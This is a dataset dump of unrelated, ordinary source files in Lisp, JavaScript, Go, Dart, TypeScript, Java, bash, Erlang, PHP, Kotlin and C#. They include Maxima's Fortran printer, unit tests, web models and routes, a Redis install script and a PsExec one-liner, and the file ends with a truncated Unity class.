text
stringlengths 27
775k
|
---|
;;; -*- Mode: Lisp; Package: Maxima; Syntax: Common-Lisp; Base: 10 -*- ;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; The data in this file contains enhancments. ;;;;;
;;; ;;;;;
;;; Copyright (c) 1984,1987 by William Schelter,University of Texas ;;;;;
;;; All rights reserved ;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; (c) Copyright 1980 Massachusetts Institute of Technology ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(in-package :maxima)
(macsyma-module fortra)
(declare-top (special *lb* *rb* ;Used for communication with MSTRING.
$loadprint ;If NIL, no load message gets printed.
1//2 -1//2))
(defmvar $fortspaces nil
"If T, Fortran card images are filled out to 80 columns using spaces."
boolean
modified-commands '$fortran)
(defmvar $fortindent 0
"The number of spaces (beyond 6) to indent Fortran statements as they
are printed."
fixnum
modified-commands '$fortran)
(defmvar $fortfloat nil "Something JPG is working on.")
;; This function is called from Macsyma toplevel. If the argument is a
;; symbol, and the symbol is bound to a matrix or list, then the value is printed
;; using an array assignment notation.
(defmspec $fortran (l)
(setq l (fexprcheck l))
(let ((value (strmeval l)))
(cond ((msetqp l) (setq value `((mequal) ,(cadr l) ,(meval l)))))
(cond ((and (symbolp l) (or ($matrixp value) ($listp value)))
($fortmx l value))
((and (not (atom value)) (eq (caar value) 'mequal)
(symbolp (cadr value)) (or ($matrixp (caddr value)) ($listp (caddr value))))
($fortmx (cadr value) (caddr value)))
(t (fortran-print value)))))
;; This function is called from Lisp programs. It takes an expression and
;; a stream argument. Default stream is *STANDARD-OUTPUT*.
;; $LOADPRINT is NIL to keep a message from being printed when the file containing MSTRING
;; is loaded. (MRG;GRIND)
(defprop mexpt (#\* #\*) dissym)
(defun fortran-print (x &optional (stream *standard-output*))
;; Restructure the expression for displaying.
(setq x (fortscan x))
;; Linearize the expression using MSTRING. Some global state must be
;; modified for MSTRING to generate using Fortran syntax. This must be
;; undone so as not to modifiy the toplevel behavior of MSTRING.
(unwind-protect
(defprop mexpt msize-infix grind)
(defprop mminus 100. lbp)
(defprop msetq (#\:) strsym)
(let ((*fortran-print* t)
(*read-default-float-format* 'single-float))
;; The above makes sure we an exponent marker for Fortran
;; numbers.
(setq x (mstring x)))
;; Make sure this gets done before exiting this frame.
(defprop mexpt msz-mexpt grind)
(remprop 'mminus 'lbp))
;; MSTRING returns a list of characters. Now print them.
(do ((c #.(char-int #\0)
(+ 1 (rem (- c #.(char-int #\0)) 16) #.(char-int #\0)))
(column (+ 6 $fortindent) (+ 9 $fortindent)))
((null x))
;; Print five spaces, a continuation character if needed, and then
;; more spaces. COLUMN points to the last column printed in. When
;; it equals 80, we should quit.
(cond ((= c #.(char-int #\0))
(print-spaces column stream))
(t (print-spaces 5 stream)
(write-char (code-char c) stream)
(print-spaces (- column 6) stream)))
;; Print the expression. Remember, Fortran ignores blanks and line
;; terminators, so we don't care where the expression is broken.
(do ()
((= column 72.))
(if (null x)
(if $fortspaces (write-char #\space stream) (return nil))
(progn
(and (equal (car x) #\\) (setq x (cdr x)))
(write-char (pop x) stream)))
(incf column))
;; Columns 73 to 80 contain spaces
(if $fortspaces (print-spaces 8 stream))
(terpri stream))
'$done)
(defun print-spaces (n stream)
(dotimes (i n) (write-char #\space stream)))
;; This function is similar to NFORMAT. Prepare an expression
;; for printing by converting x^(1/2) to sqrt(x), etc. A better
;; way of doing this would be to have a programmable printer and
;; not cons any new expressions at all. Some of this formatting, such
;; as E^X --> EXP(X) is specific to Fortran, but why isn't the standard
;; function used for the rest?
(defun fortscan (e)
(cond ((atom e) (cond ((eq e '$%i) '((mprogn) 0.0 1.0))
(t e))) ;%I is (0,1)
((and (eq (caar e) 'mexpt) (eq (cadr e) '$%e))
(list '(%exp simp) (fortscan (caddr e))))
((and (eq (caar e) 'mexpt) (alike1 (caddr e) 1//2))
(list '(%sqrt simp) (fortscan (cadr e))))
((and (eq (caar e) 'mexpt) (alike1 (caddr e) -1//2))
(list '(mquotient simp) 1 (list '(%sqrt simp) (fortscan (cadr e)))))
((and (eq (caar e) 'mtimes) (ratnump (cadr e))
(member (cadadr e) '(1 -1) :test #'equal))
(cond ((equal (cadadr e) 1) (fortscan-mtimes e))
(t (list '(mminus simp) (fortscan-mtimes e)))))
((eq (caar e) 'rat)
(list '(mquotient simp) (float (cadr e)) (float (caddr e))))
((eq (caar e) 'mrat) (fortscan (ratdisrep e)))
;; complex numbers to f77 syntax a+b%i ==> (a,b)
((and (member (caar e) '(mtimes mplus) :test #'eq)
(let ((a (simplify ($bothcoef e '$%i))))
(and (numberp (cadr a))
(numberp (caddr a))
(not (zerop1 (cadr a)))
(list '(mprogn) (caddr a) (cadr a))))))
(t (cons (car e) (mapcar 'fortscan (cdr e))))))
(defun fortscan-mtimes (e)
(list '(mquotient simp)
(cond ((null (cdddr e)) (fortscan (caddr e)))
(t (cons (car e) (mapcar 'fortscan (cddr e)))))
(float (caddr (cadr e)))))
;; Takes a name and a matrix and prints a sequence of Fortran assignment
;; statements of the form
;; NAME(I,J) = <corresponding matrix element>
;; or, when the second argument is a list,
;; NAME(I) = <list element>
(defmfun $fortmx (name mat &optional (stream *standard-output*) &aux ($loadprint nil))
(cond ((not (symbolp name))
(merror (intl:gettext "fortmx: first argument must be a symbol; found: ~M") name))
((not (or ($matrixp mat) ($listp mat)))
(merror (intl:gettext "fortmx: second argument must be a list or matrix; found: ~M") mat)))
(cond
(($matrixp mat)
(do ((mat (cdr mat) (cdr mat)) (i 1 (1+ i)))
((null mat))
(do ((m (cdar mat) (cdr m)) (j 1 (1+ j)))
((null m))
(fortran-print `((mequal) ((,name) ,i ,j) ,(car m)) stream))))
(($listp mat)
(do ((mat (cdr mat) (cdr mat)) (i 1 (1+ i)))
((null mat))
(fortran-print `((mequal) ((,name) ,i) ,(car mat)) stream))))
'$done)
;; Local Modes:
;; Comment Column:26
;; End:
|
import login from "./login"
import refreshToken from "./refreshToken"
import getDevices from "./getDevices"
import sendText from "./sendText"
import sendURL from "./sendURL"
import sendNotification from "./sendNotification"
import sendImage from "./sendImage"
export default {
login,
refreshToken,
getDevices,
sendText,
sendURL,
sendNotification,
sendImage
}
|
package restUC
import (
"errors"
"github.com/alhamsya/boilerplate-go/domain/models/request"
"github.com/alhamsya/boilerplate-go/domain/models/response"
"github.com/alhamsya/boilerplate-go/infrastructure/external/omdb"
"github.com/alhamsya/boilerplate-go/lib/helpers/config"
"net/http"
"reflect"
"testing"
"github.com/alhamsya/boilerplate-go/domain/constants"
"github.com/alhamsya/boilerplate-go/domain/repository"
"github.com/alhamsya/boilerplate-go/infrastructure/wrappers"
"github.com/gofiber/fiber/v2"
"github.com/stretchr/testify/mock"
"github.com/valyala/fasthttp"
)
func TestUcInteractor_DoGetListMovie(t *testing.T) {
initMock()
someError := errors.New("some error | TestUcInteractor_DoGetListMovie")
app := fiber.New()
ctx := app.AcquireCtx(&fasthttp.RequestCtx{})
defer app.ReleaseCtx(ctx)
type fields struct {
Cfg *config.ServiceConfig
DBRepo repository.DBRepo
CacheRepo repository.CacheRepo
OMDBRepo repository.OMDBRepo
WrapperRepo repository.CallWrapperRepo
UtilsRepo repository.UtilsRepo
}
type args struct {
ctx *fiber.Ctx
reqClient *modelReq.ListMovie
}
tests := []struct {
name string
fields fields
args args
wantResp *modelResp.ListMovie
wantHttpCode int
wantErr bool
patch func()
}{
{
name: "When_GetListMovieReturnError_expectError",
args: args{
ctx: ctx,
reqClient: &modelReq.ListMovie{
Search: "tes",
Page: 1,
},
},
wantResp: nil,
wantHttpCode: http.StatusInternalServerError,
wantErr: true,
patch: func() {
mockCallWrapperRepo.On("GetWrapper", "omdb").Return(&wrappers.Wrapper{
Err: errors.New("ignore"),
}).Once()
mockCacheRepo.On("GetListMovie", mock.Anything, "tes", int64(1)).Return(nil, someError).Once()
mockOMDBRepo.On("GetListMovie", "tes", int64(1)).Return(nil, someError).Once()
},
},
{
name: "When_GetListMovieReturnNil_expectError",
args: args{
ctx: ctx,
reqClient: &modelReq.ListMovie{
Search: "tes",
Page: 1,
},
},
wantResp: nil,
wantHttpCode: http.StatusInternalServerError,
wantErr: true,
patch: func() {
mockCallWrapperRepo.On("GetWrapper", "omdb").Return(&wrappers.Wrapper{
Err: errors.New("ignore"),
}).Once()
mockCacheRepo.On("GetListMovie", mock.Anything, "tes", int64(1)).Return(nil, nil).Once()
},
},
{
name: "When_GetListMovieResponseCannotConvertReturnError_expectError",
args: args{
ctx: ctx,
reqClient: &modelReq.ListMovie{
Search: "tes",
Page: 1,
},
},
wantResp: nil,
wantHttpCode: http.StatusConflict,
wantErr: true,
patch: func() {
mockCallWrapperRepo.On("GetWrapper", "omdb").Return(&wrappers.Wrapper{
Err: errors.New("ignore"),
}).Once()
mockCacheRepo.On("GetListMovie", mock.Anything, "tes", int64(1)).Return(&omdb.OMDBList{
Search: []omdb.Search{
{
Title: "One Day",
Year: "2021",
ImdbID: "alham123",
Type: "Film",
Poster: "www.google.com",
},
},
Response: "#",
}, nil).Once()
},
},
{
name: "When_GetListMovieResponseReturnFalse_expectError",
args: args{
ctx: ctx,
reqClient: &modelReq.ListMovie{
Search: "tes",
Page: 1,
},
},
wantResp: nil,
wantHttpCode: http.StatusBadRequest,
wantErr: true,
patch: func() {
mockCallWrapperRepo.On("GetWrapper", "omdb").Return(&wrappers.Wrapper{
Err: errors.New("ignore"),
}).Once()
mockCacheRepo.On("GetListMovie", mock.Anything, "tes", int64(1)).Return(nil, someError).Once()
mockOMDBRepo.On("GetListMovie", "tes", int64(1)).Return(&omdb.OMDBList{
Search: []omdb.Search{
{
Title: "One Day",
Year: "2021",
ImdbID: "alham123",
Type: "Film",
Poster: "www.google.com",
},
},
Response: "False",
}, nil).Once()
mockCacheRepo.On("SetListMovie", mock.Anything, "tes", int64(1), mock.Anything).Return(nil).Once()
},
},
{
name: "When_ConvertTotalResultsReturnError_expectError",
args: args{
ctx: &fiber.Ctx{},
reqClient: &modelReq.ListMovie{
Search: "tes",
Page: 1,
},
},
wantResp: nil,
wantHttpCode: http.StatusInternalServerError,
wantErr: true,
patch: func() {
mockCallWrapperRepo.On("GetWrapper", "omdb").Return(&wrappers.Wrapper{
Err: errors.New("ignore"),
}).Once()
mockCacheRepo.On("GetListMovie", mock.Anything, "tes", int64(1)).Return(&omdb.OMDBList{
Search: []omdb.Search{
{
Title: "One Day",
Year: "2021",
ImdbID: "alham123",
Type: "Film",
Poster: "www.google.com",
},
},
TotalResults: "#",
Response: "True",
}, nil).Once()
},
},
{
name: "When_CurrentTimeFReturnError_expectError",
args: args{
ctx: ctx,
reqClient: &modelReq.ListMovie{
Search: "tes",
Page: 1,
},
},
wantResp: nil,
wantHttpCode: http.StatusInternalServerError,
wantErr: true,
patch: func() {
mockCallWrapperRepo.On("GetWrapper", "omdb").Return(&wrappers.Wrapper{
Err: errors.New("ignore"),
}).Once()
mockCacheRepo.On("GetListMovie", mock.Anything, "tes", int64(1)).Return(&omdb.OMDBList{
Search: []omdb.Search{
{
Title: "One Day",
Year: "2021",
ImdbID: "alham123",
Type: "Film",
Poster: "www.google.com",
},
},
TotalResults: "100",
Response: "True",
}, nil).Once()
mockUtilsRepo.On("CurrentTimeF", constCommon.DateTime).Return("", someError).Once()
},
},
{
name: "When_CreateHistoryLogReturnError_expectError",
args: args{
ctx: ctx,
reqClient: &modelReq.ListMovie{
Search: "tes",
Page: 1,
},
},
wantResp: nil,
wantHttpCode: http.StatusInternalServerError,
wantErr: true,
patch: func() {
mockCallWrapperRepo.On("GetWrapper", "omdb").Return(&wrappers.Wrapper{
Err: errors.New("ignore"),
}).Once()
mockCacheRepo.On("GetListMovie", mock.Anything, "tes", int64(1)).Return(&omdb.OMDBList{
Search: []omdb.Search{
{
Title: "One Day",
Year: "2021",
ImdbID: "alham123",
Type: "Film",
Poster: "www.google.com",
},
},
TotalResults: "100",
Response: "True",
}, nil).Once()
mockUtilsRepo.On("CurrentTimeF", constCommon.DateTime).Return(constCommon.DateTime, nil).Once()
mockServiceRepo.On("CreateHistoryLog", ctx.Context(), mock.Anything).Return(int64(1), someError).Once()
},
},
{
name: "When_DoGetListMovieReturnSuccess_expectSuccess",
args: args{
ctx: ctx,
reqClient: &modelReq.ListMovie{
Search: "tes",
Page: 1,
},
},
wantResp: &modelResp.ListMovie{
Items: []modelResp.Items{
{
Title: "One Day",
Year: "2021",
MovieID: "alham123",
Types: "Film",
Poster: "www.google.com",
},
},
Total: 100,
},
wantHttpCode: http.StatusOK,
wantErr: false,
patch: func() {
mockCallWrapperRepo.On("GetWrapper", "omdb").Return(&wrappers.Wrapper{
Err: errors.New("ignore"),
}).Once()
mockCacheRepo.On("GetListMovie", mock.Anything, "tes", int64(1)).Return(&omdb.OMDBList{
Search: []omdb.Search{
{
Title: "One Day",
Year: "2021",
ImdbID: "alham123",
Type: "Film",
Poster: "www.google.com",
},
},
TotalResults: "100",
Response: "True",
}, nil).Once()
mockUtilsRepo.On("CurrentTimeF", constCommon.DateTime).Return(constCommon.DateTime, nil).Once()
mockServiceRepo.On("CreateHistoryLog", ctx.Context(), mock.Anything).Return(int64(1), nil).Once()
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
uc := &UCInteractor{
Cfg: tt.fields.Cfg,
DBRepo: mockServiceRepo,
OMDBRepo: mockOMDBRepo,
CallWrapperRepo: mockCallWrapperRepo,
UtilsRepo: mockUtilsRepo,
CacheRepo: mockCacheRepo,
}
tt.patch()
gotResp, gotHttpCode, err := uc.DoGetListMovie(tt.args.ctx, tt.args.reqClient)
if (err != nil) != tt.wantErr {
t.Errorf("DoGetListMovie() error = %v, wantErr %v", err, tt.wantErr)
return
}
if !reflect.DeepEqual(gotResp, tt.wantResp) {
t.Errorf("DoGetListMovie() gotResp = %v, want %v", gotResp, tt.wantResp)
}
if gotHttpCode != tt.wantHttpCode {
t.Errorf("DoGetListMovie() gotHttpCode = %v, want %v", gotHttpCode, tt.wantHttpCode)
}
})
}
}
|
import 'package:codefest/src/models/_types.dart';
import 'package:json_annotation/json_annotation.dart';
import 'package:meta/meta.dart';
part 'lecture_data.g.dart';
@JsonSerializable()
class LectureData {
@JsonKey(nullable: false)
final String id;
@JsonKey(nullable: false)
final String title;
@JsonKey(defaultValue: LectureType.lecture)
final LectureType type;
@JsonKey(defaultValue: <String>[])
final Iterable<String> speakerIds;
@JsonKey(nullable: false)
final String description;
@JsonKey(nullable: false)
final String locationId;
@JsonKey(nullable: false)
final String sectionId;
@JsonKey(nullable: false)
final int startTime;
@JsonKey(nullable: false)
final int duration;
@JsonKey(defaultValue: LanguageType.ru)
final LanguageType lang;
@JsonKey(defaultValue: false)
final bool isFavorite;
@JsonKey(defaultValue: false)
final bool isLiked;
@JsonKey(defaultValue: 0)
final int likesCount;
@JsonKey(defaultValue: 0)
final int favoritesCount;
LectureData({
@required this.id,
@required this.title,
@required this.speakerIds,
@required this.description,
@required this.locationId,
@required this.sectionId,
@required this.startTime,
@required this.duration,
this.lang,
this.type,
this.isFavorite,
this.isLiked,
this.likesCount,
this.favoritesCount,
});
factory LectureData.fromJson(Map<String, dynamic> json) => _$LectureDataFromJson(json);
Map<String, dynamic> toJson() => _$LectureDataToJson(this);
}
|
import { NgModule } from '@angular/core';
import { RouterModule, Routes } from '@angular/router';
import { TransportFrameComponent } from './transport-frame.component';
import { routerArray } from '../../config/global/config-router';
import { PlBillingResolver } from '../../shared/utils/services/resolvers/pl-billing/pl-billing.resolver';
const routes : Routes = [
{
path: '',
component: TransportFrameComponent,
data: { data: routerArray.tms },
children: [
{
path: 'dashboard',
loadChildren: () =>
import('./dashboard/dashboard.module').then( (m) => m.DashboardModule ),
data: {
breadCrumb: 'Dashboard',
},
},
{
path: 'item',
loadChildren: () =>
import('./item/item.module').then( (m) => m.ItemModule ),
},
{
path: 'pck-collection',
loadChildren: () =>
import('./pickup-collection/pickup-collection.module').then(
(m) => m.PickupColectionModule
),
data: {
breadCrumb: 'Package Collection',
},
},
{
path: 'shp-transportation',
loadChildren: () =>
import(
'./shipping-transportation/shipping-transportation.module'
).then( (m) => m.ShippingTransportationModule ),
data: {
breadCrumb: 'Ship Transportation',
},
},
{
path: 'delivery',
loadChildren: () =>
import('./delivery/delivery.module').then( (m) => m.DeliveryModule ),
data: {
breadCrumb: 'Delivery',
},
},
{
path: 'ctm-support',
loadChildren: () =>
import('./customer-support/customer-support.module').then(
(m) => m.CustomerSupportModule
),
data: {
breadCrumb: 'Ctm Support',
},
},
{
path: 'billing',
loadChildren: () =>
import('./billing/billing.module').then( (m) => m.BillingModule ),
data: {
breadCrumb: 'Billing',
},
},
{
path: '3-pl-billing',
loadChildren: () =>
import('./pl-billing/pl-billing.module').then(
(m) => m.PlBillingModule
),
resolve: {
coins: PlBillingResolver,
},
data: {
breadCrumb: 'pl-billing',
}
},
{
path: 'api',
loadChildren: () => import('./api/api.module').then( (m) => m.ApiModule ),
},
{
path: 'customer-vendor',
loadChildren: () =>
import('./customer-vendor/customer-vendor.module').then(
(m) => m.CustomerVendorModule
),
data: {
breadCrumb: 'Customer Vendor',
},
},
],
},
];
@NgModule( {
imports: [ RouterModule.forChild( routes ) ],
exports: [ RouterModule ],
} )
export class AppTransportRouting {
}
|
D:\Install\Patches\psexec \\P300017 -i 2 notepad.exe
-u domain\user1
|
import * as React from 'react';
import c from 'classnames';
type IGalleryProps = {
images: Array<string>
}
export const Gallery: React.FC<IGalleryProps> = (props) => {
const [curImage, changeImage] = React.useState(0);
return (
<div className="product__images">
<div className="product__image product__image_lg">
<img
src={props.images[curImage] || '/image/product.png'}
alt="Product photo"
/>
</div>
<div className="row space-between center">
{
props.images.map((image, index) => {
const prodClass = c('product__image product__image_sm cur', {
'product__image_active': curImage == index
});
return (
<div
className={prodClass}
key={index}
onClick={() => changeImage(index)}
>
<img src={image} width="100%" alt="Gallery photo"/>
</div>
);
})
}
</div>
</div>
);
};
export default Gallery;
|
/* ###
* IP: GHIDRA
* REVIEWED: YES
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* Created on Jun 12, 2003
*
* To change the template for this generated file go to
* Window>Preferences>Java>Code Generation>Code and Comments
*/
package ghidra.app.decompiler;
import ghidra.program.model.address.*;
import ghidra.program.model.pcode.*;
import ghidra.util.xml.*;
import ghidra.xml.*;
/**
*
*
* Token representing an operation in C code text. This could be a keyword like
* "if" or "while" but could also be an operator like '+' or '*'
* The token may contain an id for the pcode object representing the operation
*/
public class ClangOpToken extends ClangToken {
private PcodeOp op;
public ClangOpToken(ClangNode par) {
super(par);
op = null;
}
@Override
public PcodeOp getPcodeOp() { return op; }
@Override
public Address getMinAddress() {
if (op==null) return null;
return op.getSeqnum().getTarget().getPhysicalAddress();
}
@Override
public Address getMaxAddress() {
if (op==null) return null;
return op.getSeqnum().getTarget().getPhysicalAddress();
}
@Override
public void restoreFromXML(XmlElement el,XmlElement end,PcodeFactory pfactory) {
super.restoreFromXML(el,end,pfactory);
String oprefstring = el.getAttribute(ClangXML.OPREF);
if (oprefstring != null) {
int refid = SpecXmlUtils.decodeInt(oprefstring);
op = pfactory.getOpRef(refid);
}
}
}
|
const utils = require('./utils');
const mongoose = require('mongoose');
const Community = mongoose.model('Community');
module.exports = (options) => {
return async (req, res, next) => {
const userInfo = req.payload;
if(userInfo) {
if(options.community) {
const usersCommunity = userInfo.community;
const requestedCommunity = req.params.communityid || req.params.community;
//no community id was found
if(!requestedCommunity) {
next();
return;
}
if(usersCommunity !== requestedCommunity) {
console.log('Requesting something that isnt from your community');
utils.sendJSONresponse(res, 404, {err: 'Requesting something that isnt from your community'});
return;
}
}
if(options.boss) {
const userIsBoss = await isBoss(userInfo.community, userInfo._id);
if(!userIsBoss) {
utils.sendJSONresponse(res, 404, {err: "User is not a boss"});
return;
}
}
if(options.director) {
const userIsDirector = await isDirector(userInfo.community, userInfo._id);
if(!userIsDirector) {
utils.sendJSONresponse(res, 404, {err: "User is not a director"});
return;
}
}
if(options.user) {
if(req.payload._id !== req.params.userid) {
utils.sendJSONresponse(res, 404, {err: "Requesting other peoples info"});
}
}
} else {
console.log('Authorization failed must be called after the auth middleware');
}
next();
}
};
async function isBoss(communityid, boss) {
const community = await Community.findById(communityid);
if(String(community.boss) === String(boss)) {
return true;
} else {
return false;
}
}
async function isDirector(communityid, director) {
const community = await Community.findById(communityid);
if(community.directors.indexOf(director) !== -1) {
return true;
}
return false;
} |
#!/bin/bash
version=6.0.9
sudo apt install make cmake pkg-config -y
wget -c https://mirrors.huaweicloud.com/redis/redis-$version.tar.gz
tar -zxvf redis-$version.tar.gz
cd redis-$version/
make -j$(cat /proc/cpuinfo| grep "processor"| wc -l) && sudo make install
redis-server -v
# /etc/redis/redis.conf
# /usr/local/bin/redis-cli
# /usr/local/bin/redis-server
|
-module(kanren_test).
-include_lib("proper/include/proper.hrl").
-include_lib("eunit/include/eunit.hrl").
-import(kanren,[fail/1, succeed/1, disj/1, disj/2, conj/1, conj/2,
is_lvar/1, ext_s/3, lookup/2, unify/3,
eq/2, membero/2, conso/3, appendo/3,assq/2,lookup_deep/2,
run/1, run/2]).
foo(X) ->
succeed(X + 1).
bar(X) ->
succeed(X + 2).
baz(X) ->
succeed(X + 3).
disj_test() ->
[2, 3] = (disj(fun foo/1, fun bar/1))(1),
[2, 3, 4] = (disj([fun foo/1, fun bar/1, fun baz/1]))(1).
conj_test() ->
[4] = (conj(fun foo/1, fun bar/1))(1),
[7] = (conj([fun foo/1, fun bar/1, fun baz/1]))(1).
disj_conj_test() ->
[1, 2, 2, 3, 3] =
(disj(disj(fun kanren:fail/1, fun kanren:succeed/1),
conj(disj(fun foo/1, fun bar/1),
disj(fun kanren:succeed/1, fun kanren:succeed/1))))(1).
is_lvar_test() ->
true = is_lvar(l_hai),
false = is_lvar(hai),
false = is_lvar("l_hai").
assq_test() ->
bar = assq(foo, [[bar|1], [foo|bar]]).
lookup_deep_test() ->
[1, 2] = lookup_deep(l_q,
[[l_l3p, 2],
[l_q, l_h|l_l3p],
[l_t],
[l_h|1]]).
unify_test() ->
[[l_x|l_y]] = unify(l_x, l_y, []),
[[l_y|1], [l_x|l_y]] = unify(l_x, 1, unify(l_x, l_y, [])),
1 = lookup(l_y, unify(l_x, 1, unify(l_x, l_y, []))),
[[l_y|1], [l_x|l_y]] = unify([l_x|l_y], [l_y|1], []).
membero_test() ->
[[]] = run(membero(2, [1, 2, 3])),
[] = run(membero(10, [1, 2, 3])),
[[[l_q|1]], [[l_q|2]], [[l_q|3]]] = run(membero(l_q, [1, 2, 3])),
[[[l_q|2]], [[l_q|3]]] = run(conj(membero(l_q, [1, 2, 3]),
membero(l_q, [2, 3, 4]))).
conso_test() ->
[[[l_x|[1, 2, 3]]]] = run(conso(1, [2, 3], l_x)),
[[[l_y|[2, 3]], [l_x|1]]] = run(conso(l_x, l_y, [1, 2, 3])).
appendo_test() ->
[[1, 2]] = run(l_q, appendo([1], [2], l_q)),
[] = run(l_q, appendo([1], [2], [1])),
[[2, 3]] = run(l_q, appendo([1], l_q, [1, 2, 3])).
% appendo doesn't consider L1 with more than 1 element - why?
%% [[4, 5]] = run(l_q, appendo([1, 2, 3], l_q, [1, 2, 3, 4, 5])),
%% [[1, 2, 3, 4, 5], [2, 3, 4, 5], [3, 4, 5], [4, 5], [5]] =
%% run(l_q, appendo(l_x, l_q, [1, 2, 3, 4, 5])).
|
<?php
namespace myBookPlans\app\models;
use myBookPlans\app\components\Db;
use PDO;
class Library
{
/**
* Get id user library
*
* @param int $userId
*
* @return mixed
*/
public static function getIdUserLibrary($userId)
{
$db = Db::getConnection();
$sql = "SELECT id FROM user_lib WHERE id_user = :userId;";
$request = $db->prepare($sql);
$request->bindParam(':userId', $userId, PDO::PARAM_INT);
$request->setFetchMode(PDO::FETCH_ASSOC);
$request->execute();
$result =$request->fetch();
return $result['id'];
}
/**
* @param int $userId
* @param int $page
* @param int $count
*
* @return array
*/
public static function getListBooksIds($userId, $page, $count = Book::SHOW_BY_DEFAULT)
{
if ($userId) {
$db = Db::getConnection();
$booksIds = [];
$count = intval($count);
$page = intval($page);
$offset = $page == 1
? 0
: ($page-1) * $count;
$sql = "SELECT id_book FROM user_lib
INNER JOIN user_lib_record
ON user_lib.id = user_lib_record.id_user_lib
WHERE user_lib.id_user = :userId"
. " ORDER BY id_book DESC "
. "LIMIT " . $count
. " OFFSET " . $offset;
$request = $db->prepare($sql);
$request->bindParam(':userId', $userId, PDO::PARAM_INT);
$request->setFetchMode(PDO::FETCH_ASSOC);
$request->execute();
$i = 0;
while ($row = $request->fetch()) {
$booksIds[$i]['id'] = $row['id_book'];
$i++;
}
return $booksIds;
}
}
/**
* @param $userId
*
* @return mixed
*/
public static function getCountBooksInUserLibrary($userId)
{
if ($userId) {
$db = Db::getConnection();
$sql = "SELECT COUNT(id_book) AS count FROM user_lib_record
INNER JOIN user_lib ON user_lib_record.id_user_lib = user_lib.id
WHERE user_lib.id_user =:userId";
$request = $db->prepare($sql);
$request->bindParam(':userId', $userId, PDO::PARAM_INT);
$request->setFetchMode(PDO::FETCH_ASSOC);
$request->execute();
$row = $request->fetch();
return $row['count'];
}
}
/**
* @param int $userLibId
* @param int $bookId
*
* @return int
*/
public static function getUserLibRecordBookStatus($userLibId, $bookId)
{
$db = Db::getConnection();
$sql ="SELECT status FROM user_lib_record WHERE id_user_lib =:userLibId AND id_book =:bookId";
$request = $db->prepare($sql);
$request->bindParam(':userLibId', $userLibId, PDO::PARAM_INT);
$request->bindParam(':bookId', $bookId, PDO::PARAM_INT);
$request->setFetchMode(PDO::FETCH_ASSOC);
$request->execute();
$result = $request->fetch();
return $result['status'];
}
/**
* Return array booksIds
*
* @param int $userLibId
* @param int $bookId
*
* @return mixed
*/
public static function checkLibraryContainsBook($userLibId, $bookId)
{
$db = Db::getConnection();
$sql = "SELECT id_book FROM user_lib_record
WHERE user_lib_record.id_user_lib = :userLibId
AND user_lib_record.id_book =:idBook;";
$request = $db->prepare($sql);
$request->bindParam(':userLibId', $userLibId, PDO::PARAM_INT);
$request->bindParam(':idBook', $bookId, PDO::PARAM_INT);
$request->setFetchMode(PDO::FETCH_NUM);
$request->execute();
return $request->fetch();
}
/**
* @param $userId
* @return mixed
*/
public static function checkUserLibraryExists($userId)
{
if ($userId) {
$db = Db::getConnection();
$sql = "SELECT id_user FROM user_lib
WHERE user_lib.id_user = :userId";
$request = $db->prepare($sql);
$request->bindParam(':userId', $userId, PDO::PARAM_INT);
$request->setFetchMode(PDO::FETCH_NUM);
$request->execute();
return $request->fetch();
}
}
/**
* @param int $userLibId
* @param int $bookId
* @param int $status
*
* @return bool
*/
public static function createNewUserLibRecord($userLibId, $bookId, $status)
{
$db = DB::getConnection();
$sql = "INSERT INTO user_lib_record(id_user_lib, id_book, status) "
. "VALUES (:userLibId, :bookId, :status)";
$request = $db->prepare($sql);
$request->bindParam(':userLibId', $userLibId, PDO::PARAM_INT);
$request->bindParam(':bookId', $bookId, PDO::PARAM_INT);
$request->bindParam(':status', $status, PDO::PARAM_INT);
return $request->execute();
}
/**
* @param $userId
*
* @return bool
*/
public static function createNewUserLibrary($userId)
{
$db = Db::getConnection();
$sql = "INSERT INTO user_lib(id_user) "
. "VALUES (:userId)";
$request = $db->prepare($sql);
$request->bindParam(':userId', $userId, PDO::PARAM_INT);
return $request->execute();
}
/**
* @param $userLibId
* @param $bookId
* @param $status
*
* @return bool
*/
public static function updateUserLibraryRecordStatus($userLibId, $bookId, $status)
{
$db = Db::getConnection();
$sql = "UPDATE user_lib_record SET status =:status WHERE id_user_lib =:userLibId AND id_book =:bookId";
$request = $db->prepare($sql);
$request->bindParam(':userLibId', $userLibId, PDO::PARAM_INT);
$request->bindParam(':bookId', $bookId, PDO::PARAM_INT);
$request->bindParam(':status', $status, PDO::PARAM_INT);
return $request->execute();
}
/**
* @param $userLibId
* @param $bookId
*
* @return int
*/
public static function deleteUserLibRecord($userLibId, $bookId)
{
$result = 0;
$db = DB::getConnection();
$sql = "DELETE FROM user_lib_record WHERE id_user_lib =:userLibId AND id_book =:bookId";
$request = $db->prepare($sql);
$request->bindParam(':userLibId', $userLibId, PDO::PARAM_INT);
$request->bindParam(':bookId', $bookId, PDO::PARAM_INT);
if ($request->execute()) {
$result = $bookId;
}
return $result;
}
}
|
/*
*
* Copyright 2021 Orange
*
* Use of this source code is governed by an MIT-style
* license that can be found in the LICENSE file or at
* https://opensource.org/licenses/MIT.
* /
*/
buildscript {
repositories {
google()
mavenCentral()
}
dependencies {
classpath(com.orange.ods.gradle.Dependencies.androidGradlePlugin)
classpath(com.orange.ods.gradle.Dependencies.kotlinGradlePlugin)
classpath(com.orange.ods.gradle.Dependencies.firebaseAppDistributionGradlePlugin)
classpath(com.orange.ods.gradle.Dependencies.googleServicesGradlePlugin)
}
}
allprojects {
repositories {
google()
mavenCentral()
}
}
tasks.register<Delete>("clean") {
group = "cleanup"
delete(rootProject.buildDir)
}
|
using UnityEngine;
public class GPUSkinningBetterList<T>
{
public T[] buffer;
public int size = 0;
